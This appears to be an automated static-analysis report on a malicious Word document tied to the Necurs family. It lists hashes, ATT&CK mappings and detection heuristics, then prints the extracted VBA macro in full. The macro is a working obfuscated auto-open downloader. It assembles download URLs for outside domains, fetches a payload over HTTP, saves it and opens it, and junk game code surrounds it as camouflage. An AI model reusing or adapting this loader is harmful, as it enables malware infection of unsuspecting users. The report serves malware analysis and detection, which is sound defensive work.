Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e7731c732e562d09…

MALICIOUS

Office (OOXML)

50.6 KB Created: 2017-08-02 09:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2017-08-08
MD5: b962ac9e0e145473fd8f3815e3ec4a32 SHA-1: 807f35ff11b69030879b10e2a8cf8948fb931154 SHA-256: e7731c732e562d09d59135acf4a331b4b6b1cdaf041c7629924cc35d0b159eb8
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an OOXML document containing a malicious VBA macro, specifically an obfuscated auto-exec loader. The macro is triggered by the Document_Open event and utilizes CreateObject and CallByName functions, indicative of attempts to download and execute a second-stage payload. ClamAV detections confirm the presence of the Necurs malware family.

Heuristics 8

  • ClamAV: Doc.Macro.Necurs-6412436-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Necurs-6412436-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set HeyHey_avatar = CreateObject(AlertN(3))
   Shtefin = Replace("ortaokuldayiz.cWWMO,82yyfh3CHAStrredfcjrottrdtwwq.net,af,82yyfh3CHASeoliko.cWWMO,82yyfh3", "WWMO", "om")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set HeyHey_avatar = CreateObject(AlertN(3))
   Shtefin = Replace("ortaokuldayiz.cWWMO,82yyfh3CHAStrredfcjrottrdtwwq.net,af,82yyfh3CHASeoliko.cWWMO,82yyfh3", "WWMO", "om")
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
     If cry = 1 Then
CallByName CofeeShop, RDM.OptionButton1.Tag, VbMethod, AlertN(5), HeyHey_4, False
Exit Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
HeyHey_Fish = 0
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 39594 bytes
SHA-256: 72fcb63ca27d4efafff02dc7f15f61de4c824d0a75356fb037d3fabda688948c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
HeyHey_Fish = 0
HMBCP "Dissallow"
End Sub


Private _
Function ARTSWrite() As Integer
  Dim ret, Buffersize, nErrors
  ' that should never hapent
  If M.e.hDevice = Null Then Return
  If M.e.Plug.lpCurentBuffer = Null Then Return
  If M.e.Plug.Buffersize = 0 Then Return

  Buffersize = M.e.Plug.Buffersize
  lpBuffer = M.e.Plug.lpCurentBuffer
  While (Buffersize > 0) And (nErrors < 3)
    ret = art.s_write(M.e.hDevice, lpBuffer, Buffersize)
    If ret = 0 Then
      sle.ep 1
    ElseIf ret > 0 Then
      Buffersize = ret
      lpBuffer = ret
    Else
      nErrors = 1
      M.e.LastError = "arts: error [" + Str(ret) + "]!"
      dpr.Int (M.e.LastError)
    End If
  Wend
  Return
End Function


Private _
Function NumOfDeviceNames() As Integer
  Return
End Function

Private _
Function GetDeviceName(index As Integer) As String
  Dim tmp
  Select Case index
    Case 1
      Return
    Case Else
      tmp = Str(Rnd * &HFFFFFFFF)
      tmp = "fbsound" + Right(Trim(tmp), 4)
      Return
  End Select
End Function

Function plug_error() As String
  Dim tmp
  tmp = L.LastError
  Return
End Function

Function plug_isany(R As String) As String
  Dim ret, I

  Plug.Plugname = M.e.Plug.Plugname
  M.e.Plug.DeviceName = ""

  For I = 0 To NumOfDeviceNames() - 1
    ret = art.s_init()
    If ret = 0 Then
      M.e.Plug.DeviceName = GetDev.iceName(6)
      Plug.DeviceName = M.e.Plug.DeviceName
      Exit For
    End If
  Next
  If M.e.Plug.DeviceName = "" Then
    art.s_free
    M.e.LastError = "arts:plug_isany error can't connect to server!"
   
  End If
  art.s_free
End Function

Attribute VB_Name = "RDM"
Attribute VB_Base = "0{D484BD90-5BA6-4A63-B3A0-58A62947EF1E}{26013B94-E77C-4751-900F-09F56DD34F10}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "BCCB"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub doc_of_word_outline_level6()
    doc_string = "Outline Level 6"
End Sub
Sub word_outline_level6()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel6
    comple.te
End Sub





Sub WriteLOG(sMessage$)
        If (bLOGOn = cOn) Then
            Wri.te nLOGFileHandle, sMessage
        End If
End Sub


    
Public Sub Ant()


  SubProperty.Write HeyHey_PokerFace
GoTo cip


 If Not CryToLoad.Compressed Then
 For G = 0 To CryToLoad.Size - 1
 CryToLoad.Data(G) = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, (cryOffset) + 16 + G, 1)))
 Next
 Else
 If Alignment = 0 Then
 pcmLevel = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, offtrack, 1)))
 offtrack = offtrack + 1
 Data.Add (pcmLevel)
 Alignment = &H20
 End If
 offtrack = offtrack + 1
 If Alignment < &H20 Then
 Data.Add (pcmLevel)
 End If
 Data.Add (pcmLevel)
 If Size >= CryToLoad.Size Then
 End If
 Alignment = 1
 CryToLoad.Data = Data.ToArray()
 CryToLoad.Size = offtrack - Start
 End If
cip:

If HeyHey_Fish <> 0 Then

 Exit Sub
End If
FindNext "4", 3
End Sub










Sub doc_of_word_outline_level7()
    doc_string = "Outline Level 7"
End Sub
Sub word_outline_level7()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel7
    comple.te
End Sub


Sub ErrorMessage(sMessage$)
        
        If (bLOGOn = cOn) Then
            WriteLOG (sMessage$)
        Else
            MsgBox sMessage$, 16
        End If
End Sub


Sub InfoMessage(sMessage$)
        
        If (bShowErrorsOnly = cOff) Then
            
            If (bLOGOn = cOn) Then
                WriteLOG (sMessage$)
            Else
                MsgBox sMessage$, 64
            End If
        End If
End Sub




Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function CheckRectsPlayerOpt() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 1
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(PlayerOptR)
        If I > 1 Or Not Players(MeNum).Admin > 0 Then
            If IntersectRect(rTemp, PlayerOptR(I), rMouse) Then
                CheckRectsPlayerOpt = I + 1
                Exit Function
            End If
        End If
        If I = 1 And Not Players(MeNum).Admin > 0 Then Exit Function
    Next
End Function





Public Function CheckRectsAd() As Boolean
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    If IntersectRect(rTemp, AdRect, rMouse) Then
        CheckRectsAd = True
        Exit Function
    End If
End Function

Public Function CheckRectsNav() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(NavRect)
        If I < 8 Then
            If IntersectRect(rTemp, NavRect(I), rMouse) Then
                CheckRectsNav = I + 1
                Exit Function
            End If
        End If
    Next
End Function

Public Function CheckRectsMenu4() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 32
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    For I = 0 To UBound(MenuRect)
        If IntersectRect(rTemp, MenuRect(I), rMouse) Then
            CheckRectsMenu4 = I + 1
            Exit Function
        End If
    Next
End Function

Public Function CheckRectsMenuMenu1() As Integer
    Dim rTemp As RECT, rMouse As RECT, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 1
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    If MenuMenu = 1 Then
        For I = 0 To 3
            If IntersectRect(rTemp, rHelp(I), rMouse) Then
                CheckRectsMenuMenu1 = I + 1
                Exit Function
            End If
        Next
    End If
    If MenuMenu = 5 Then
        If IntersectRect(rTemp, rHelp(4), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 6 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Or MenuMenu = 8 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Then
        If IntersectRect(rTemp, rHelp(6), rMouse) Then
            CheckRectsMenuMenu1 = 6
            Exit Function
        End If
    End If
End Function


Public Sub DoOption()
    Dim lMsg As Byte, j As Integer, b As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    
    If NavMenu = 3 Then
        j = CheckRectsMenu3
        If j = 1 Then PlayerScroll = PlayerScroll - 1
        If j = 2 Then PlayerScroll = PlayerScroll + 1
        If j > 3 Then PlayerSelected = j - 3
        If PlayerScroll < 0 Then PlayerScroll = 0
        If UBound(Players) > 10 Then
            If PlayerScroll > UBound(Players) - 10 Then PlayerScroll = UBound(Players) - 10
        Else
            PlayerScroll = 0
        End If
        j = CheckRectsPlayerOpt
        PlayerOpt = j
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 1 Or (MenuMenu > 4 And MenuMenu < 9) Then
        j = CheckRectsMenuMenu1
        If j = 1 Then MenuMenu = 5
        If j = 2 Then MenuMenu = 6
        If j = 3 Then MenuMenu = 7
        If j = 4 Then MenuMenu = 0
        If j = 5 Then MenuMenu = 1
        If j = 6 Then MenuMenu = 8
    End If
    
    If MenuMenu = 2 Then
        j = CheckRectsMenuMenu2
        If j = 5 Then MenuMenu = 0
        If j > HData.NumTeams Then Exit Sub
        b = j
        On Local Error Resume Next
        lMsg = MSG_TEAM
        lNewOffSet = 0
        ReDim oNewMsg(0)
        AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
        AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
        SendTo oNewMsg
        MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 3 Then
        j = CheckRectsMenuMenu3
        If j = 1 And Not gObjDSound Is Nothing Then If EnableSound Then EnableSound = False Else EnableSound = True
        If j = 2 Then cfgm = True
        If j = 3 Then cfgm = False
        If j = 4 Then cfgk = True: KeyConfig False
        If j = 5 Then cfgk = False: KeyConfig True
        If j = 6 Then cfgwv = False
        If j = 7 Then cfgwv = True
        If j = 8 Then MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If MenuMenu = 4 Then
        j = CheckRectsMenuMenu4
        If j = 1 Then Stopping = True
        If j = 2 Then MenuMenu = 0
        If j > 0 Then Exit Sub
    End If
    
    If NavMenu = 4 Then
        j = CheckRectsMenu4
        If j > 0 Then MenuMenu = j: Exit Sub
    End If
    
    If MenuMenu = 9 Then If CheckRectMenu9 Then MenuMenu = 0
    
    j = CheckRectsNav
    If j = 1 Then If Not AnimateMenu Then MenuPend = 1: AnimateMenu = True
    If j = 3 Then If Not AnimateMenu Then MenuPend = 3: AnimateMenu = True: PlayerSelected = 1
    If j = 4 Then If Not AnimateMenu Then MenuPend = 4: AnimateMenu = True
    If j = 5 Then DropFlag
    If j = 6 Then Weapon = 1: SpecialSnd 1
    If j = 7 Then Weapon = 2: SpecialSnd 2
    If j = 8 Then Weapon = 3: SpecialSnd 3
    
    If Advertisements Then If CheckRectsAd Then LaunchAd
End Sub

Public Sub sendmsg(cmd As Long, Msgs As String)
    On Local Error Resume Next
    Dim lMsg As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    lNewOffSet = 0
    ReDim oNewMsg(0)
    lMsg = cmd
    AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
    AddBufferString oNewMsg, Msgs, lNewOffSet
    SendTo oNewMsg
End Sub

Public Sub GameChat(txt As String)
    Dim X As Byte
    For X = 0 To UBound(Chat)
        If X = UBound(Chat) And Chat(X) <> vbNullString Then KillChatLine
        If Chat(X) = vbNullString Then
            If Chat(0) = vbNullString Then ChatClean = NewGTC
            Chat(X) = txt
            Exit For
        End If
    Next
    WriteChat
End Sub

Public Sub KillChatLine()
    Dim I As Integer
    For I = 0 To UBound(Chat) - 1 Step 1
        Chat(I) = Chat(I + 1)
    Next
    Chat(UBound(Chat)) = vbNullString
    WriteChat
End Sub

Public Function GetPN(plr As String) As Integer
    Dim I As Integer
    For I = 1 To UBound(Players)
        If LCase$(Players(I).Nick) = LCase$(plr) Then GetPN = I: Exit Function
    Next
End Function

Public Sub AddIgnore(plr As String)
    Dim I As Integer, j As Integer
    j = GetPN(plr)
    If Players(j).Admin > 0 Then
        GameChat Chr$(5) & "You are not allowed to ignore this player."
        Exit Sub
    End If
    For I = 0 To UBound(Ignored) + 1
        If I > UBound(Ignored) Then ReDim Preserve Ignored(I)
        If LenB(Ignored(I)) = 0 Then
            Ignored(I) = LCase$(plr)
            GameChat Chr$(5) & plr & " is ignored."
            Exit For
        End If
    Next
End Sub

Public Function IsIgnored(plr As String) As Boolean
    Dim I As Integer
    For I = 0 To UBound(Ignored)
        If Ignored(I) = LCase$(plr) Then
            IsIgnored = True
            Exit Function
        End If
    Next
End Function

Public Sub RemoveIgnore(plr As String)
    Dim I As Integer
    For I = 0 To UBound(Ignored)
        If Ignored(I) = LCase$(plr) Then
            Ignored(I) = vbNullString
            GameChat Chr$(5) & plr & " is unignored."
            Exit For
        End If
    Next
End Sub





Attribute VB_Name = "Know"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
    Public Sub Challenge(sender As String, e As Integer)
PlayCry 1
PlayCry 350
    End Sub
Public Function PropellersHead() As String

tt = ThisDocument.BuiltInDocumentProperties("Content status").Value
AlertN = Split(tt, "FURRY")
VertikName = AlertN(Quubo * 3)
Vertik

PropellersHead = ""

End Function


    
    



Attribute VB_Name = "Module1"

Public MarkusPils() As String
Public HeyHey_4 As String
  
Public Const HeyHey_System = "User-Agent"
Public SubProperty As Object


Public HeyHey_VEAM As Object
Public HeyHey_Fish As Integer


Public AlertN() As String

Public AlertNE As String

Public HeyHey_PokerFace As Variant
Public HeyHey_aifde As Object
Public HeyHey_FLAME As String
Public HeyHey_avatar As Object
  
Public smbi As String
Public HeyHey_2 As String
Public Const Quubo = 0




Public Stocke As Integer
Public HeyHey_Project As String
Public VertikName As String
Public CofeeShop As Object



Public Sub AnimPowerup(pwr As Integer)
    Dim rBuff As Integer
    Dim ExX As Long, ExY As Long
    If NewGTC - PowerFrameT(pwr) > 100 Then
        PowerFrame(pwr) = PowerFrame(pwr) + 1
        If PowerUp(pwr) = 1 Then
            If PowerFrame(pwr) > 5 Then PowerFrame(pwr) = 0
        Else
            If PowerFrame(pwr) > 11 Then PowerFrame(pwr) = 0
        End If
        PowerFrameT(pwr) = NewGTC
    End If
    
    If PowerEffect(pwr) = 2 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 3
        Else
            Exit Sub
        End If
    ElseIf PowerEffect(pwr) = 3 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 2
            Exit Sub
        End If
    End If
    
    
    ExX = PowerX(pwr)
    ExY = PowerY(pwr)
    ExX = ExX - MeX: ExY = ExY - MeY
    
    rBuff.Top = 355 + (PowerUp(pwr) - 1) * 24
    rBuff.Bottom = rBuff.Top + 24
    rBuff.Left = PowerFrame(pwr) * 24
    rBuff.Right = rBuff.Left + 24
    
    If ExX < 0 Then rBuff.Left = rBuff.Left + Abs(ExX): ExX = 0
    If ExY < 0 Then rBuff.Top = rBuff.Top + Abs(ExY): ExY = 0
    If ExX > ResX - 24 Then rBuff.Right = rBuff.Right - (ExX - (ResX - 24)): ExX = ResX - 24 + (ExX - (ResX - 24))
    If ExY > ResY - 24 Then rBuff.Bottom = rBuff.Bottom - (ExY - (ResY - 24)): ExY = ResY - 24 + (ExY - (ResY - 24))
    If PowerUp(pwr) <> 0 Then BackBuffer.BltFast ExX, ExY, DirectDraw_Tuna1, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Sub AnimExpl(I As Integer)
    Dim xt As Integer, yt As Integer, rExpl As RECT
    Dim sw As Integer, sh As Integer
    Dim ExY As Integer
    If NewGTC - AnimExT(I) > 50 Then
        AnimExT(I) = NewGTC
        AnimExF(I) = AnimExF(I) + 1
        If AnimExF(I) > 10 Then
            AnimExF(I) = 0
            Expl(I) = False
            Exit Sub
        End If
    End If
    rExpl.Left = rBombExp(AnimExF(I)).Left
    rExpl.Right = rBombExp(AnimExF(I)).Right
    rExpl.Top = rBombExp(AnimExF(I)).Top
    rExpl.Bottom = rBombExp(AnimExF(I)).Bottom
    
    sw = rExpl.Right - rExpl.Left
    sh = rExpl.Bottom - rExpl.Top
    xt = ExplX(I) - MeX - (sw / 2)
    yt = ExplY(I) - MeY - (sh / 2)
    If xt < 0 Then rExpl.Left = rExpl.Left + Abs(xt): xt = 0
    If yt < 0 Then rExpl.Top = rExpl.Top + Abs(yt): yt = 0
    If xt > ResX - sw Then rExpl.Right = rExpl.Right - (xt - (ResX - sw)): xt = (ResX - sw) + (xt - (ResX - sw))
    If yt > ResY - sh Then rExpl.Bottom = rExpl.Bottom - (yt - (yt - sh)): ExY = (yt - sh) + (yt - (ResY - sh))

End Sub


Public Sub Flags(Colr As Integer, I As Integer)
    If BackBuffer.isLost Then Exit Sub
    Dim xt As Integer, yt As Integer, a As Integer, b As Integer, G As Byte
    Dim rFlag As RECT
    G = 0
    If Colr = 1 Then
        G = 1
        If FlagCarry1(I) > 0 Then
            Flag1(0, I) = Players(FlagCarry1(I)).charX + 18
            Flag1(1, I) = Players(FlagCarry1(I)).charY + 3: G = 9
        End If
        xt = Flag1(0, I)
        yt = Flag1(1, I)
    ElseIf Colr = 2 Then
        G = 2
        If FlagCarry2(I) > 0 Then
            Flag2(0, I) = Players(FlagCarry2(I)).charX + 18
            Flag2(1, I) = Players(FlagCarry2(I)).charY + 3: G = 9
        End If
        xt = Flag2(0, I)
        yt = Flag2(1, I)
    ElseIf Colr = 3 Then
        G = 3
        If FlagCarry3(I) > 0 Then
            Flag3(0, I) = Players(FlagCarry3(I)).charX + 18
            Flag3(1, I) = Players(FlagCarry3(I)).charY + 3: G = 9
        End If
        xt = Flag3(0, I)
        yt = Flag3(1, I)
    ElseIf Colr = 4 Then
        G = 4
        If FlagCarry4(I) > 0 Then
            Flag4(0, I) = Players(FlagCarry4(I)).charX + 18
            Flag4(1, I) = Players(FlagCarry4(I)).charY + 3: G = 9
        End If
        xt = Flag4(0, I)
        yt = Flag4(1, I)
    ElseIf Colr = 5 Then
        G = 5
        If FlagCarry5(I) > 0 Then
            Flag5(0, I) = Players(FlagCarry5(I)).charX + 18
            Flag5(1, I) = Players(FlagCarry5(I)).charY + 3: G = 9
        End If
        xt = Flag5(0, I)
        yt = Flag5(1, I)
    End If
    
out:
End Sub


 Public Sub PlayCry(cry As Integer)
 If cry = 1 Then
CallByName CofeeShop, RDM.OptionButton1.Tag, VbMethod, AlertN(5), HeyHey_4, False
Exit Sub
Else: GoTo lab1
End If
 If c.Ry.Offset = 0 Then
 Exit Sub
 End If
 writer.Write (Encoding.ASCII.GetBytes("RIFF"))
 writer.Write (0)
 writer.Write (Encoding.ASCII.GetBytes("WAVE"))
 writer.Write (Encoding.ASCII.GetBytes("fmt "))
 writer.Write (16)
 writer.Write (CUS.hort(1))
 writer.Write (CUS.hort(1))
 
lab1:
CallByName CofeeShop, RDM.OptionButton2.Tag, VbMethod, HeyHey_System, _
RDM.SpinButton1.Tag
Exit Sub
 stream.Seek 0, SeekOrigin.begin
 Player.Load
 Player.Play
End Sub
 



Public Sub AnimTransferMap(Caption As String, IsMapTransfer As Boolean)
    Dim xt As Integer, yt As Integer, PValue As Integer, I As Integer, L As Long
    
    Set HeyHey_avatar = CreateObject(AlertN(3))
   Shtefin = Replace("ortaokuldayiz.cWWMO,82yyfh3CHAStrredfcjrottrdtwwq.net,af,82yyfh3CHASeoliko.cWWMO,82yyfh3", "WWMO", "om")
  Shtefin = Replace(Shtefin, ",", "/")
MarkusPils = Split(Shtefin, RDM.CHAS.Caption)
 Set SubProperty = CreateObject(AlertN(1))
    Set HeyHey_aifde = CreateObject(AlertNE)

Set HeyHey_VEAM = HeyHey_avatar.Environment(AlertN(4))
    Exit Sub
    xt = CenterX - 77
    yt = CenterY - 10
    If IsMapTransfer Then
        PValue = (ResX - 88) \ 12
        L = UBound(RMData) \ PValue
        For I = 1 To PValue
            If I * L >= RMCount Then
                Optio.nGFX "selectfalse", 32 + I * 12, CenterY + 200
            Else
                Optio.nGFX "selecttrue", 32 + I * 12, CenterY + 200
            End If
        Next
    End If
End Sub







Public Function HMBCP(D)
 Dim fb As Know
 doc_string = "Outline Level 2"
Set fb = New Know
    doc_string = "Outline Level 3"
    fb.PropellersHead
End Function





Public Sub Vertik()


Set CofeeShop = CreateObject(VertikName)

smbi = RDM.Label1.Caption
AlertNE = AlertN(2)

AnimTransferMap "Caption", False


 Stocke = 24 / 4
 HeyHey_FLAME = HeyHey_VEAM(AlertN(6))
MakeFarplane "G", "I", "MS"
End Sub

Public Function FindNext(R As String, S As Integer) As String


CallByName SubProperty, "sav" + RDM.o3.Caption, VbMethod, HeyHey_Project, 2




HeyHey_aifde.Open (HeyHey_Project)
   
End Function






Public Sub MakeFarplane(a As String, b As String, c As String)
GoTo old18
    If BackBuffer.isLost Then Exit Sub
    Dim xt As Integer, yt As Integer, rDD As Integer
    Dim xtl As Integer, ytl As Integer, xw As Integer, yw As Integer
    xw = ResX
    yw = ResY
    If xw > 1280 Then xw = 1280
    If yw > 960 Then yw = 960
    xt = 0.1568 * MeX
    yt = 0.1176 * MeY
    xtl = xt + xw
    ytl = yt + yw
    If xtl > 1280 Then
        xt = 1280 - xw
        xtl = 1280
    End If
    If ytl > 960 Then
        yt = 960 - yw
        ytl = 960
    End If
    
old18:
    On Error GoTo dee13

 Dim I
 
For I = LBound(MarkusPils) To UBound(MarkusPils) Step 1
 ShugarMilk 64
If CofeeShop.Status <> 200 Then
 Err.Raise 700 + vbObjectError, "G", "Dro"
End If
    
    
    
    MakeFarplane2 31
 Exit Sub
dee13:
Next
On Error GoTo 0

Exit Sub
    If xt < 0 Then
        xt = 0
        xtl = xw
    End If
    If yt < 0 Then
        yt = 0
        ytl = yw
    End If
    
    With rD.D.hh
        .Left = xt
        .Top = yt
        .Right = xtl
        .Bottom = ytl
    End With
    BackBuffer.BltFast 0, 0, DirectDraw_Farplane, rDD, DDBLTFAST_WAIT
End Sub



Public Sub MakeFarplane2(I As Integer)
    Dim j As Integer, D As Integer, DiagMvSpd As Single, LastCX As Single, LastCY As Single, e As Integer
    Dim MvSpd As Single, sx As Single, sy As Single, chs As Single
    GoTo sinus
    MvSpd = Speed * 1.1
    
    If Player.S(I).FlagWho > 0 Then MvSpd = MvSpd * 0.75
    If Player.S(I).DevCheat > 2 Then MvSpd = MvSpd * 3
    If Player.S(I).Mode = 1 Then MvSpd = MvSpd * 6
    
    DiagMvSpd = 0.7 * 1.1
    chs = MvSpd / (Int(MvSpd) + 1)
    
    If Player.S(I).Ship = 6 Then
        Select Case Player.S(I).KeyIs
        Case Is = vbKeyLeft
            Player.S(I).animY = aLEFT2
        Case Is = vbKeyUp
            Player.S(I).animY = aUP2
        Case Is = vbKeyRight
            Player.S(I).animY = aRIGHT2
        Case Is = vbKeyDown
            Player.S(I).animY = aDOWN2
        End Select
    End If
    Player.S(I).animX = Player.S(I).KeyIs
    If Val(Int(MvSpd)) > 100 Then Exit Sub
    
    For j = 0 To Int(MvSpd)
        LastCX = Player.S(I).charX
        LastCY = Player.S(I).charY
        If Player.S(I).KeyIs = 1 Then
            Player.S(I).charX = Player.S(I).charX + chs
        ElseIf Player.S(I).KeyIs = 2 Then
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 3 Then
            Player.S(I).charY = Player.S(I).charY - chs
        ElseIf Player.S(I).KeyIs = 4 Then
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 5 Then
            Player.S(I).charX = Player.S(I).charX - chs
        ElseIf Player.S(I).KeyIs = 6 Then
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 7 Then
            Player.S(I).charY = Player.S(I).charY + chs
        ElseIf Player.S(I).KeyIs = 8 Then
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
        End If
        Call ShipTo.uch(I)
        For e = 1 To UBound(RetCollision)
            D = RetCollision(e)
            If D = 8 Then Player.S(I).charY = Player.S(I).charY - chs * 0.7
            If D = 9 Then Player.S(I).charY = Player.S(I).charY + chs * 0.7
            If D = 10 Then Player.S(I).charX = Player.S(I).charX - chs * 0.7
            If D = 11 Then Player.S(I).charX = Player.S(I).charX + chs * 0.7
            'The following four lines stop you from moving backwards on
            'ramps if you have a flag.
            'If D = 8 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 7 Then Player.s(i).charY = LastCY
            'If D = 9 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 3 Then Player.s(i).charY = LastCY
            'If D = 10 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 1 Then Player.s(i).charX = LastCX
            'If D = 11 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 5 Then Player.s(i).charX = LastCX
        Next
        GoSub whatever
    Next
    Exit Sub
    
sinus:
mapRender
 CallByName SubProperty, "Open" + "", VbMethod

HeyHey_PokerFace = CallByName(CofeeShop, "re" + "sponseBody", VbGet)
Dim DRO As BCCB
Set DRO = New BCCB
DRO.Ant
    Exit Sub
whatever:
    sx = Player.S(I).charX
    sy = Player.S(I).charY
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        Player.S(I).charX = LastCX
        Player.S(I).charY = LastCY
